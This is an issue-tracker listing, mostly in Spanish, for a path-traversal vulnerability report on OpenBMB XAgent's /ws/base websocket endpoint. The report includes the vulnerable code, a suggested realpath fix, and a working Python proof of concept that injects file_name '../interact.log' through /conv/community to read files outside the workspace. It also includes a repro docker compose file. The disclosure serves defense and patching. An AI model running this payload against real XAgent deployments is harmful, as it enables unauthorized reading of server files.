[Vulnerability] Path Traversal in /ws/base endpoint
Nadie ha tomado este issue todavía.
Evaluación
- Dificultad
- 3/5
- Tiempo estimado
- 1-2 días
- Aptitud para principiantes
- 72/100
Línea de trabajo
Comienza en XAgentServer/application/websockets/common.py, en handle_data(), y luego sigue su llamador MainServer.send_data() en XAgentServer/application/websockets/base.py. Ejecuta community_ws_poc.py con la configuración de Docker proporcionada para reproducir la lectura fuera del workspace. El trabajo estará terminado cuando las rutas de traversal ya no devuelvan contenido de archivos, mientras que las salidas válidas de imágenes del workspace sigan funcionando.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
Vulnerability report: XAgent path traversal
Affected product
Vendor: OpenBMB
Product: XAgent
Vulnerability component: MainServer.send_data function in XAgentServer/application/websockets/base.py
Version: 3619c25855f878481ddb893709c1e30d76aff794
Vulnerability summary
MainServer.send_data() sends pending interaction records to the websocket client and calls handle_data() to enrich notebook image outputs. The handle_data() function treats file_name from the stored Raw record as a trusted workspace file name, joins it into a filesystem path, then reads and returns the file content as base64.
The vulnerable function call chain is:
MainServer.send_data()
-> handle_data()
The vulnerable data flow is:
send_data function:
InteractionCRUD.get_next_send
-> rows
-> row
handle_data function:
row
-> row.data
-> data["using_tools"]
-> using_tools["tool_output"]
-> tool_output
-> output
-> output["file_name"]
-> file_name
-> file_path
An authenticated user can first pollute the database through the /conv/community API by submitting a crafted raws JSON payload. The inserted Raw record can contain data.using_tools.tool_output[*].file_name with a path traversal value such as ../interact.log. After that, connecting to /ws/base/{interaction_id} and sending a normal websocket message triggers send_data(), which fetches the crafted Raw record and passes it into handle_data().
The vulnerable code is in
XAgentServer/application/websockets/common.py:
file_path = os.path.join(root_dir, "workspace", file_name)
if os.path.exists(file_path):
try:
with open(file_path, "rb") as f:
png_base64 = base64.b64encode(
f.read()).decode("utf-8")
except Exception:
pass
Because file_name is not restricted to a basename and the resolved path is not checked against the workspace directory, ../ escapes the workspace and allows reading files outside the intended directory.
Suggested fix
Add a security check in handle_data function. Code snippet:
for output in tool_output:
...
workspace = os.path.realpath(os.path.join(root_dir, "workspace"))
file_path = os.path.realpath(os.path.join(workspace, file_name))
if not file_path.startswith(workspace + os.sep):
print("path traversal detected !")
continue
POC
Prerequisites:
The PoC uses the real XAgent Docker services, MySQL, Redis, the /conv/community HTTP API, and the /ws/base/{interaction_id} websocket endpoint. The helper compose file avoids host MySQL port conflicts and pins MySQL to 8.0 because the project compose file uses the floating mysql image.
cd your-path-to/XAgent
Step 1: Start XAgent and the required databases.
sudo docker compose -p xagentrepro \
-f your-path-to/poc/xagent-compose-repro.yml \
up -d
Check that the services are running:
sudo docker compose -p xagentrepro \
-f your-path-to/poc/xagent-compose-repro.yml \
ps
Expected important services:
xagentrepro-XAgentServer-1 Up
xagentrepro-xagent-mysql-1 healthy
xagentrepro-xagent-redis-1 healthy
The backend listens on:
http://127.0.0.1:8090
ws://127.0.0.1:8090/ws/base/{interaction_id}
Step 2: Send the PoC payload through the community API and trigger send_data().
python3 your-path-to/poc/community_ws_poc.py
The script performs both actions:
POST /conv/community
-> inserts a crafted interaction and Raw record into MySQL through the HTTP API
websocket /ws/base/{interaction_id}
-> sends a normal type=data message
-> starts the scheduler
-> triggers send_data()
-> send_data() fetches the malicious Raw row
-> handle_data() reads workspace/../interact.log
The crafted Raw record contains:
{
"data": {
"using_tools": {
"tool_name": "PythonNotebook_execute_cell",
"tool_output": [
{
"file_name": "../interact.log"
}
]
}
},
"include_pictures": true,
"is_send": false
}
Successful output contains:
community_status 200 {"data":null,"success":true,"message":"success"}
"interaction_id": "..."
...
read_content: 2026-...
poc_success True
read_content contains the contents of interact.log, which is outside the workspace directory. This confirms that handle_data() read a path traversed by ../interact.log.
reference related files
The PoC files are listed below:
community_ws_poc.py
import asyncio
import base64
import datetime
import io
import json
import time
import uuid
import zipfile
import requests
import websockets
BASE = "http://127.0.0.1:8090"
USER = "guest"
TOKEN = "xagent"
def make_empty_zip():
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED):
pass
buf.seek(0)
return buf
def insert_via_community():
interaction_id = uuid.uuid4().hex
now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
malicious_node = uuid.uuid4().hex
finish_node = uuid.uuid4().hex
interaction = {
"interaction_id": interaction_id,
"user_id": USER,
"create_time": now,
"update_time": now,
"description": "community-poc",
"agent": "",
"mode": "manual",
"file_list": [],
"recorder_root_dir": "",
"status": "ready",
"message": "ready...",
"current_step": "-1",
"is_deleted": False,
"call_method": "web",
}
raws = [
{
"node_id": malicious_node,
"interaction_id": interaction_id,
"current": "community-poc",
"step": 0,
"data": {
"using_tools": {
"tool_name": "PythonNotebook_execute_cell",
"tool_input": "{}",
"tool_output": [{"file_name": "../interact.log"}],
"tool_status_code": "TOOL_CALL_SUCCESS",
}
},
"file_list": [],
"status": "inner",
"do_interrupt": False,
"wait_seconds": 0,
"ask_for_human_help": False,
"create_time": now,
"update_time": now,
"is_deleted": False,
"is_human": False,
"human_data": {},
"human_file_list": [],
"is_send": False,
"is_receive": False,
"include_pictures": True,
},
{
"node_id": finish_node,
"interaction_id": interaction_id,
"current": "finish",
"step": 1,
"data": {"done": True},
"file_list": [],
"status": "finished",
"do_interrupt": False,
"wait_seconds": 0,
"ask_for_human_help": False,
"create_time": now,
"update_time": now,
"is_deleted": False,
"is_human": False,
"human_data": {},
"human_file_list": [],
"is_send": False,
"is_receive": False,
"include_pictures": False,
},
]
z = make_empty_zip()
resp = requests.post(
BASE + "/conv/community",
data={
"user_id": USER,
"token": TOKEN,
"user_name": "guest",
"interaction": json.dumps(interaction),
"raws": json.dumps(raws),
},
files={"files": ("workspace.zip", z.getvalue(), "application/zip")},
timeout=20,
)
print("community_status", resp.status_code, resp.text)
resp.raise_for_status()
print("interaction_id", interaction_id)
print("malicious_node", malicious_node)
return interaction_id
async def trigger_ws(interaction_id):
url = (
f"ws://127.0.0.1:8090/ws/base/{interaction_id}"
f"?user_id={USER}&token={TOKEN}&description=community-poc"
)
async with websockets.connect(url, ping_interval=None) as ws:
first = await ws.recv()
print("ws_first", first[:500])
await ws.send(
json.dumps(
{
"type": "data",
"args": {"goal": "trigger send_data only"},
"agent": "",
"mode": "manual",
"file_list": [],
}
)
)
deadline = time.time() + 20
while time.time() < deadline:
msg = await asyncio.wait_for(ws.recv(), timeout=deadline - time.time())
print("ws_msg", msg)
obj = json.loads(msg)
outputs = (
((obj.get("data") or {}).get("using_tools") or {}).get("tool_output")
or []
)
if outputs and isinstance(outputs[0], dict) and outputs[0].get("file_data"):
decoded = base64.b64decode(outputs[0]["file_data"]).decode(
errors="replace"
)
print("read_content:", decoded[:300])
print("poc_success", "Receive connection" in decoded or "Send data" in decoded)
return
print("poc_success", False)
if __name__ == "__main__":
iid = insert_via_community()
asyncio.run(trigger_ws(iid))
xagent-compose-repro.yml
services:
ToolServerManager:
image: xagentteam/toolserver-manager:latest
build:
context: your-path-to/XAgent
dockerfile: dockerfiles/ToolServerManager/Dockerfile
volumes:
- toolserverconfig:/app/assets/config
- /var/run/docker.sock:/var/run/docker.sock
environment:
DB_HOST: db
DB_PORT: 27017
DB_USERNAME: admin
DB_PASSWORD: xagentmongodb
DB_COLLECTION: TSM
depends_on:
- db
command: ["--workers", "2", "-t", "600"]
ToolServerNode:
image: xagentteam/toolserver-node:latest
build:
context: your-path-to/XAgent
dockerfile: dockerfiles/ToolServerNode/Dockerfile
volumes:
- toolserverconfig:/app/assets/config
db:
image: mongo
volumes:
- xagentmongodb:/data/db
environment:
MONGO_INITDB_ROOT_USERNAME: admin
MONGO_INITDB_ROOT_PASSWORD: xagentmongodb
logging:
driver: "none"
XAgentServer:
image: xagentteam/xagent-server:latest
build:
context: your-path-to/XAgent
dockerfile: dockerfiles/XAgentServer/Dockerfile
env_file:
- your-path-to/XAgent/.env
environment:
- TOOLSERVER_URL=http://ToolServerManager:8080
- MYSQL_DB_URL=mysql+pymysql://root:xagent@xagent-mysql:3306/xagent
- REDIS_HOST=xagent-redis
volumes:
- your-path-to/XAgent/assets:/app/assets:ro
ports:
- "5173:5173"
- "8090:8090"
depends_on:
xagent-mysql:
condition: service_healthy
xagent-redis:
condition: service_healthy
xagent-mysql:
image: mysql:8.0
command:
- --default-authentication-plugin=caching_sha2_password
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
environment:
MYSQL_ROOT_PASSWORD: xagent
volumes:
- your-path-to/XAgent/XAgentServer/database/sql:/docker-entrypoint-initdb.d
healthcheck:
test: ["CMD-SHELL", "mysql -h localhost -u root -pxagent -e 'SELECT 1'"]
timeout: 20s
retries: 20
xagent-redis:
image: redis
command: redis-server --requirepass xagent
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 5s
timeout: 3s
retries: 20
volumes:
xagentmongodb:
toolserverconfig:
name: xagentrepro_toolserverconfig
driver: local
driver_opts:
type: none
device: your-path-to/XAgent/assets/config
o: bind
networks:
default:
name: xagent-repro-network
driver: bridge
- Lenguaje dominante
- Python
- Estrellas
- 8.5k
- Forks
- 905
- Métricas de merge de PR
- Sin PR fusionados en 30 d
Preparar el entorno
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de OpenBMB/XAgent
-
Dificultad 5/5 Más de una semana Aptitud para principiantes 35/100
-
Dificultad 5/5 Más de una semana Aptitud para principiantes 15/100
-
bug
Dificultad 4/5 3-5 días Aptitud para principiantes 45/100
-
Dificultad 5/5 Más de una semana Aptitud para principiantes 5/100
-
Dificultad 5/5 Más de una semana Aptitud para principiantes 25/100
Todos los issues de OpenBMB/XAgent
Issues similares
-
[Bug] @deck.gl/arcgis dist import resolves to unpublished @deck.gl/core source path (9.3.11, 9.4.0)Abierto
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
Los mantenedores suelen responder en 1 día
-
workflow: a tick's dispatch counts as 'only this step', and no review self-grants a round unattendedAbiertoworkflow
Dificultad 2/5 1-3 horas Aptitud para principiantes 85/100
kristofdegrave/homeassistant-smart-charging#1505 ·
Los mantenedores suelen responder en 1 día
-
New Submission: TropWATERAbiertometadata submission
Dificultad 2/5 1-3 horas Aptitud para principiantes 82/100
-
Wrongly named dashboard variableAbiertobug
Dificultad 2/5 1-3 horas Aptitud para principiantes 65/100
canonical/content-cache-operator#163 · 1 comentario ·
Los mantenedores suelen responder en 1 día
-
[submission]Abiertosubmission
Dificultad 1/5 Menos de una hora Aptitud para principiantes 65/100
leanprover/lean-eval-submissions#1852 ·
Los mantenedores suelen responder en 1 día